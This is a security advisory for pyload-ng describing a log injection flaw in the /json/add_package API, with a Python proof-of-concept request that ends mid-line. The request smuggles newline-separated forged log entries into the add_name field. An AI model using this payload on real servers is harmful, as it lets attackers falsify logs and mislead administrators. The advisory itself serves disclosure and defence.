GitHub Security Advisory: GHSA-3wwm-hjv7-23r3
Package: pyload-ng (PIP)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 0.5.0b3.dev89
Patched in: unpatched

Summary: Pyload log Injection via API /json/add_package in add_name parameter

Details:
### Summary
A log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.
### Details
`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.

### PoC
Run `pyload` in the default configuration by running the following command
```
pyload
```
We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`
<img width="1918" height="912" alt="image" src="https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37" />
Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.
```
import requests

session = requests.session()

burp0_url = "http://localhost:8000/json/add_package"
burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"}
burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\r\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n"
session.post(burp0_url, headers=burp0_hea